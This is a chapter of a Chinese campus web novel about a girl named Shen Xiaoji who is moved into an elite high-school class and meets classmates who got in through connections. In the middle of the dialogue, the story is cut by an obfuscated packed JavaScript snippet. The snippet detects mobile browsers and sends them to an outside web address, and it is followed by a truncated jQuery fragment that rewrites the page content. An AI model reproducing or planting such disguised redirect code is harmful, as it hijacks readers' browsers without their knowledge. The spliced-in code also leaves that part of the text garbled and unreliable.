《桌肚里的微光》


    文/小镇南方


    晋江文学城


    2025.10.23


    燥热的午后，空气都带着砂砾的烫意，斑驳的院墙上，风碾过一片被晒得卷曲的杨树叶，空气里弥漫着尘土和干渴植物的气息。


    这里终年都挂着烈阳，气候干燥，一入春秋就沙暴泛滥，一到夏冬就陷入两极世界。


    一提到这儿，人们总会想起四个字：气候恶劣。


    不过，经济落后才是这里的代名词，城市周围就是望不尽的戈壁，无数孩子都渴望能走出这片戈壁。


    沈小骥从小生活的地方就在这里。


    即便如此，在这座略显落后的北方县城，依然在国家的扶持下萌生着快速发展的种子。


    一个个高楼如雨后春笋般拔地而起。


    中学也越建越多，从原来的一两所，到现在的七八所。


    但这都比不过人们口里的某所“贵族中学”，沈小骥读的高中——二中。


    今天是高二开学再分班的日子，下午六点前沈小骥就得赶到学校，看分班结果。


    “小骥，走了？”


    “今天怎么这么早去学校？”


    “哦，今天可能会下雨，记得带伞。”


    要让常年没雨的邱县下雨，多是难得的一天。


    陈旧的普通楼房里，沈小骥家住在二楼，老爸坐在沙发上刷短视频，操着一口南方口音和她嘱咐。


    “知道。”沈小骥简单回应了一句。


    燥热的午后，沈小骥睡完午觉换上了校服。


    她伏在门前穿鞋，一双不太新的鞋子被妈妈刷了又刷，此时她感觉好像鞋有些小了，于是蹲下重新换一双穿。


    鞋柜下，沈小骥蹲在暗与明的交界线处，脑后的低马尾绑的松松的，有一两缕落在额前。


    她抿着嘴，一双垂着的眼睛下睫毛又黑又长，认真盯着脚上那双手，仔细绑着鞋带。


    穿完鞋沈小骥才往里面走，钻进卫生间里拿起一把伞。


    直到她走了推开门的那一秒，沙发上刷短视频的老爸才反应过来。


    “又穿起鞋踩进屋里头了，等会你妈妈看到又要说你。”


    沈小骥悄悄合上了门，撇了撇嘴。


    -


    出了小区后，沈小骥望了望头顶的太阳，白皙的脸瞬间被照红。


    全身都弥起干燥疲热的不适感。


    她去马路边打了一辆出租。


    难得奢侈一次，沈小骥坐上出租车的那一秒就望了望小区门口的公交站。


    那里站着和她穿着同样校服的学生，他旁边放着笨重的行李箱，双手环抱着一脸生无可恋的等公交。


    沈小骥看着那人生无可恋，自己也想苦涩的笑笑。


    开学第一天，没有哪个高中生是开心快乐的，现实的高中，没有电视剧里的青春活力，大多是做题累的五体投地——每次去学校都是一场服刑运动。


    也包括她，沈小骥觉得自己每次坐在座位上低着头学习的时候，很像一个直不起腰的老骥。


    可偏偏她还是个小骥。


    哎，小骥小骥，年仅16，累成老骥。


    她上车后司机甚至都不用问她去哪里，她也不用说，因为一看她的穿着便知——这是二中的学生。


    往二中送就对了。


    车内皮革味有些重，沈小骥伸手按下车窗，瞬间一道风打在了她的脸上。


    车速带起的风卷着夏末的蝉鸣，掠过她的耳畔时，发梢簌簌地跳着舞，她半眯着眼，校服的袖口被风鼓成小小的帆。


    搭乘她的司机是个中年大叔的样子。


    “二中今年收分是不是又高了？”


    风猛扑进车里，沈小骥晕车的症状刚好了不少，便听到司机极其突然一声搭调。


    不过沈小骥觉得很正常。


    北方人那种随时可以和陌生人聊天的情况太常见了。


    “嗯，好像吧，听说今年提了50分。”


    沈小骥也就如实回应道。


    “50分？啧啧啧，哎，不愧是二中啊…怪不得我儿子今年只能上三中。”


    “三中很差的。”


    “你们二中的学生都是很厉害的。”


    司机眼睛望着后视镜，和她说道：“是吧？”


    沈小骥和司机对上眼，一时半会儿不知说什么，只能说：“嗯…我们学校是要好点。”


    但与此同时，沈小骥在心里腹诽。


    整个邱县，二十来万人口，点大的地方，能看的过去的普通高中就一个二中、三中，非要比，谁又比谁强到哪里去。


    但这里的人不知道，从小生活在这样的地方，没读过几天书，做着平庸的工作，结婚生子，又养了一个平庸的孩子，眼界狭隘，总觉得送自己的孩子去二中就是人生赢家了。


    不止是司机，沈小骥的父母也是个典型。


    沈小骥一路上没再和他有过交流，大叔也没再多问。


    到了学校后沈小骥直奔教学楼去。


    学校已经来了很多人了，大多数是外县的住宿生提着行李箱过来提前收拾宿舍的。


    沈小骥不住宿，她是本县的。


    人群里，每个学生都围着一个铁公示栏看，叽叽喳喳，闹个不停。


    耳边传来各方的声音。


    “我靠那谁，咱俩5班！”


    “哎，看到了，我在18班。”


    “哎，哪几个班是尖子班啊？”


    “一到六班是尖子班，六到八是实验班，剩下全部平行班！”


    “哇那我完了呀，我在24班！”


    “24班和9班又没区别！都是平行班呀！”


    沈小骥站在人群中第二排的位置，个子不太突出的她，艰难的寻找着自己的名字。


    “哎你看，3班人好少啊，才25个人！”


    “这是清北班吗？人这么少？”


    “我估计是，这班的任课老师都很厉害。”


    沈小骥顺着那人指的方向往3班的名单上看。


    一列名字整齐的印在黑白的纸上，她一行一行往下扫。


    二年级3班，班主任：卢艳红


    学生名单：


    序号1：王子博


    序号2：李伟


    序号3：陈青青


    ...


    ...


    序号13:沈小骥


    ...


    沈小骥眼睛一亮，找到了自己。


    人群中有人比她更早爆发出一声尖叫：“我靠，卢艳红！教导主任她们班的！”


    “我去怪不得人这么少呢，估计是那老师不愿意收那么多学生。”


    “教导主任权利就是大，竟然还能决定班里学生人数。”


    沈小骥看完后暗自庆幸，经过一年的努力，她终于爬上尖子班了。


    不过...听说这个卢艳红，很可怕，在学校里是令人闻风丧胆的存在。


    感觉以后班级里有的受了。


    沈小骥想退出来，突然一个人拍了拍她。


    “沈小骥！”


    她回头，看见一个短头发的长得漂亮的一个女孩子正笑盈盈的看着她。


    沈小骥一下回忆起这是谁。


    这是高一上学期的时候她的同班同学，叫赵优，她们俩那时候在平行班，不过第二学期沈小骥就升到实验班去了，就没再同班了。


    “哎，我刚刚看到你名字了。”


    “你和我一个班！”


    沈小骥有些吃惊，小幅度的张了张唇。


    “是吗？”


    “你也是从平行班升上来的吗？”


    “好厉害。”


    赵优否认了。


    “不是哦。”


    沈小骥张着嘴看着她。


    赵优却神秘的和她靠在一起，悄悄对着她说：“我是靠关系进去的！”


    沈小骥张的惊讶的嘴一下合住了，随后就略显尴尬地看着她。


    “哎，别这幅表情。”


    赵优推了她一下，笑的很无所谓。


    “这学期咱们尖子班靠关系进来的多呢，很正常！”


    “不信你等会儿看看。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722536|189436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “有不少生面孔。”


    -


    所有学生看完自己所在的班级就要去班里等待第一节的班会课了。


    开学第一课，无外乎就那两件事，自我介绍，思想教育。


    这将全部放在了周末下午。


    以便第二天直接开始上课，不占一点上课时间。


    3班级里稀稀拉拉的才到了几个人，由于学生少，这个班所有的课桌都是单人桌，没有那种双人桌。因此和她一路讨论着要和她做同桌的赵优都愣住了，看着班级里的单人桌不满道：“什么嘛，连同桌都没有的，不愧是卢主任的班，真是绝！”


    “没事的，不做同桌也可以挨的挺近的。”


    沈小骥低声安慰她。


    赵优不爽的撇嘴，和她一起进去挑位置。


    赵优选了个第二排靠窗的位置。


    沈小骥看了看，选择坐在靠赵优旁边那列中间过道的第一排的位置，将伞塞进抽屉里。


    这位置正对着讲台。


    “我靠沈小骥，你坐老师眼皮子底下啊！”


    沈小骥朝人点点头，赵优给她竖了个大拇指：牛。


    接着，班级陆陆续续在来人。


    沈小骥没带书包，也没有书可以看，于是眼睛朝着班门口看过去。


    然后她发现，这个班男生多，女生少。


    大部分男生进班后看到她和赵优坐靠窗三四组，还有零星几个女生，都选择坐靠门一二组那边的位置。


    这个年纪的男孩女孩们，基本上不会主动靠近坐在一块。


    直到人快坐满了，赵优前面的那个位置都没人坐。


    也就是沈小骥的旁边。


    嗯，没有人愿意夹在女生中间坐，尤其...还是她们这样的两个女生。


    赵优带了一把小镜子，此时掏出镜子对着自己的脸照，又不知道从哪里掏出了一个粉色的卷发棒，卷在自己的刘海上。


    沈小骥则无聊的趴在桌上浅浅的休息着。


    教室里很安静，连她自己的呼吸声都听的到。


    新开学的第一天，大家都比较陌生拘谨，因此班级完全没有吵闹的气氛，沉默的像考试现场。


    差不多到点了，人也来的差不多干净了。


    所有人静悄悄的等着老师来。


    忽然，门口传来一阵刺耳的脚步声，那是非常坚硬的鞋底才能踩出来的声音。


    那种摩擦地板的声音，沈小骥现在听的听都能听出来了——是某名牌球鞋特有的声音。


    是这个年纪的男孩子们追求的声音。


    高一的时候她就听惯了。


    “嘿，到了，这就是3班了。”


    “嗯，看到了。”


    班门外过道，两道声音清晰传进教室里，一个张扬，一个散漫。


    靠门贴着薄膜的窗边闪过两个没穿校服的身影，其中一个还是个红毛，沈小骥歪头看了一眼。


    “你在哪个班啊？”那个略显散漫的声音问道。


    “7班，东哥给我安排的！咋样够意思吧！”这人的声音打了激素似的，特别亢奋。


    那人哧笑了一下。


    “还是你爹有实力啊。”


    “哈哈操，你还说我，不知道谁爹用了钞能力给你他妈的这破烂成绩塞到3班了。”说话的人毫不留情的把这些戳穿。


    而那个人却一点也不在意，甚至很骄傲地说道：“你爹——我的爹。”


    “...滚，又骂我孙子！”


    沈小骥默默的听着，心想或许是赵优口中的“关系户”来了。


    “...”


    那两个人说到这才意识到班级里似乎很安静，门外两个人静了一会儿，没一会儿一个人走了，只留了一个人。


    过了会儿。


    少年的衣角比他的脸更早出现在视线之中。


    他跨进班门，对着里面的大家就是一句——


    “报告。”


    两个字，大声，干脆，劲劲的，一股北方东临那边的腔调，直接就透露出他不是本地人这件事。


    众人看向他。